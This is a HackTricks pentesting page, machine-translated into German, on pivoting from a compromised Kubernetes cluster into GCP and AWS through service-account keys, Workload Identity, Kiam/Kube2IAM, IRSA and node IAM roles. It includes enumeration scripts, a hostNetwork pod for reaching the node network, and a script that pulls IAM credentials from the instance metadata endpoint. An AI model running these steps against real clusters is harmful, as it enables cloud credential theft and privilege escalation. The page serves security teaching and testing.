Kubernetes Pivoting to Clouds

Support HackTricks

GCP

Wenn Sie einen k8s-Cluster innerhalb von GCP betreiben, möchten Sie wahrscheinlich, dass eine Anwendung, die innerhalb des Clusters läuft, Zugriff auf GCP hat. Es gibt 2 gängige Möglichkeiten, dies zu tun:

GCP-SA-Schlüssel als Geheimnis einbinden

Eine gängige Methode, um Zugriff auf eine Kubernetes-Anwendung zu GCP zu gewähren, ist:

  • Erstellen Sie ein GCP-Servicekonto

  • Binden Sie die gewünschten Berechtigungen daran

  • Laden Sie einen JSON-Schlüssel des erstellten SA herunter

  • Binden Sie es als Geheimnis innerhalb des Pods ein

  • Setzen Sie die Umgebungsvariable GOOGLE_APPLICATION_CREDENTIALS auf den Pfad, wo die JSON-Datei gespeichert ist.

Daher sollten Sie als Angreifer, wenn Sie einen Container innerhalb eines Pods kompromittieren, nach dieser Umgebungsvariable und JSON-Dateien mit GCP-Anmeldeinformationen suchen.

GSA-JSON mit KSA-Geheimnis verknüpfen

Eine Möglichkeit, einem GSA Zugriff auf einen GKE-Cluster zu gewähren, besteht darin, sie auf folgende Weise zu binden:

  • Erstellen Sie ein Kubernetes-Servicekonto im selben Namespace wie Ihr GKE-Cluster mit dem folgenden Befehl:

Copy codekubectl create serviceaccount <service-account-name>
  • Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP-Dienstkontos enthält, dem Sie Zugriff auf den GKE-Cluster gewähren möchten. Sie können dies mit dem gcloud-Befehlszeilenwerkzeug tun, wie im folgenden Beispiel gezeigt:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Binden Sie das Kubernetes Secret an das Kubernetes-Dienstkonto mit dem folgenden Befehl:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Im zweiten Schritt wurden die Anmeldeinformationen des GSA als Geheimnis des KSA festgelegt. Wenn Sie dann dieses Geheimnis von innerhalb des GKE-Clusters lesen können, können Sie zu diesem GCP-Dienstkonto eskalieren.

GKE Workload Identity

Mit Workload Identity können wir ein Kubernetes-Dienstkonto so konfigurieren, dass es als Google-Dienstkonto fungiert. Pods, die mit dem Kubernetes-Dienstkonto ausgeführt werden, authentifizieren sich automatisch als das Google-Dienstkonto, wenn sie auf Google Cloud APIs zugreifen.

Die erste Reihe von Schritten, um dieses Verhalten zu aktivieren, besteht darin, Workload Identity in GCP zu aktivieren (Schritte) und das GCP SA zu erstellen, das k8s nachahmen soll.

  • Aktivieren Sie Workload Identity in einem neuen Cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Erstellen/Aktualisieren eines neuen Nodepools (Autopilot-Cluster benötigen dies nicht)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Erstellen Sie das GCP-Dienstkonto zur Nachahmung von K8s mit GCP-Berechtigungen:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Verbinden Sie sich mit dem Cluster und erstellen Sie das Dienstkonto, das Sie verwenden möchten

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Binden Sie die GSA mit der KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Führen Sie ein pod mit der KSA aus und überprüfen Sie den Zugriff auf die GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Überprüfen Sie den folgenden Befehl zur Authentifizierung, falls erforderlich:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Als Angreifer innerhalb von K8s sollten Sie nach SAs suchen, die die iam.gke.io/gcp-service-account-Annotation haben, da dies darauf hinweist, dass der SA auf etwas in GCP zugreifen kann. Eine weitere Möglichkeit wäre, zu versuchen, jede KSA im Cluster auszunutzen und zu überprüfen, ob sie Zugriff hat. Es ist immer interessant, die Bindungen von GCP aufzulisten und zu wissen, welchen Zugriff Sie SAs innerhalb von Kubernetes gewähren.

Dies ist ein Skript, um einfach über alle Pod-Definitionen zu iterieren und nach dieser Annotation zu suchen:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM-Rolle für Pods)

Eine (veraltete) Möglichkeit, IAM-Rollen an Pods zu vergeben, besteht darin, einen Kiam oder einen Kube2IAM Server zu verwenden. Grundsätzlich müssen Sie ein Daemonset in Ihrem Cluster mit einer Art von privilegierter IAM-Rolle ausführen. Dieses Daemonset wird den Pods, die es benötigen, Zugriff auf IAM-Rollen gewähren.

Zunächst müssen Sie konfigurieren, welche Rollen innerhalb des Namensraums zugänglich sind, und das tun Sie mit einer Annotation im Namensraum-Objekt:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Sobald der Namespace mit den IAM-Rollen konfiguriert ist, die die Pods haben können, können Sie die Rolle, die Sie in jeder Pod-Definition möchten, mit etwas wie angeben:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Als Angreifer, wenn Sie diese Annotationen in Pods oder Namespaces finden oder einen kiam/kube2iam-Server (wahrscheinlich im kube-system) laufen haben, können Sie jede rolle, die bereits von Pods verwendet wird, und mehr nachahmen (wenn Sie Zugriff auf das AWS-Konto haben, listen Sie die Rollen auf).

Pod mit IAM-Rolle erstellen

Die anzugebende IAM-Rolle muss im selben AWS-Konto wie die kiam/kube2iam-Rolle sein, und diese Rolle muss darauf zugreifen können.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM-Rolle für K8s-Dienstkonten über OIDC

Dies ist der empfohlene Weg von AWS.

  1. Dann erstellen Sie eine IAM-Rolle mit den Berechtigungen, die das SA benötigt.

  2. Erstellen Sie eine Vertrauensbeziehung zwischen der IAM-Rolle und dem SA Namen (oder den Namespaces, die den Zugriff auf die Rolle für alle SAs des Namespaces gewähren). Die Vertrauensbeziehung überprüft hauptsächlich den OIDC-Anbieternamen, den Namespace-Namen und den SA-Namen.

  3. Schließlich erstellen Sie ein SA mit einer Annotation, die die ARN der Rolle angibt, und die Pods, die mit diesem SA ausgeführt werden, haben Zugriff auf das Token der Rolle. Das Token wird in eine Datei geschrieben und der Pfad wird in AWS_WEB_IDENTITY_TOKEN_FILE angegeben (Standard: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Um aws mit dem Token von /var/run/secrets/eks.amazonaws.com/serviceaccount/token zu erhalten, führen Sie aus:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Als Angreifer, wenn Sie einen K8s-Cluster enumerieren können, überprüfen Sie Servicekonten mit dieser Annotation, um sich zu AWS zu eskalieren. Dazu erstellen Sie einfach einen Pod mit einem der IAM privilegierten Servicekonten und stehlen das Token.

Darüber hinaus, wenn Sie sich in einem Pod befinden, überprüfen Sie Umgebungsvariablen wie AWS_ROLE_ARN und AWS_WEB_IDENTITY_TOKEN.

Manchmal könnte die Trust Policy einer Rolle schlecht konfiguriert sein und anstatt den AssumeRole-Zugriff auf das erwartete Servicekonto zu gewähren, gewährt sie ihn allen Servicekonten. Daher, wenn Sie in der Lage sind, eine Annotation auf einem kontrollierten Servicekonto zu schreiben, können Sie auf die Rolle zugreifen.

Überprüfen Sie die folgende Seite für weitere Informationen:

AWS - Federation Abuse

Finden Sie Pods und SAs mit IAM-Rollen im Cluster

Dies ist ein Skript, um einfach über alle Pods und SAs-Definitionen zu iterieren und nach dieser Annotation zu suchen:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Der vorherige Abschnitt handelte davon, wie man IAM-Rollen mit Pods stiehlt, aber beachten Sie, dass ein Node des K8s-Clusters eine Instanz in der Cloud sein wird. Das bedeutet, dass der Node höchstwahrscheinlich eine neue IAM-Rolle haben wird, die Sie stehlen können (beachten Sie, dass normalerweise alle Nodes eines K8s-Clusters die gleiche IAM-Rolle haben, daher könnte es sich nicht lohnen, jeden Node zu überprüfen).

Es gibt jedoch eine wichtige Voraussetzung, um auf den Metadaten-Endpunkt vom Node zuzugreifen: Sie müssen sich im Node befinden (SSH-Sitzung?) oder zumindest dasselbe Netzwerk haben:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Zuvor haben wir besprochen, wie man IAM-Rollen an Pods anheftet oder sogar, wie man zum Knoten entkommt, um die IAM-Rolle zu stehlen, die der Instanz zugewiesen ist.

Sie können das folgende Skript verwenden, um Ihre neu erarbeiteten IAM-Rollenanmeldeinformationen zu stehlen:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referenzen

Unterstützen Sie HackTricks

Last updated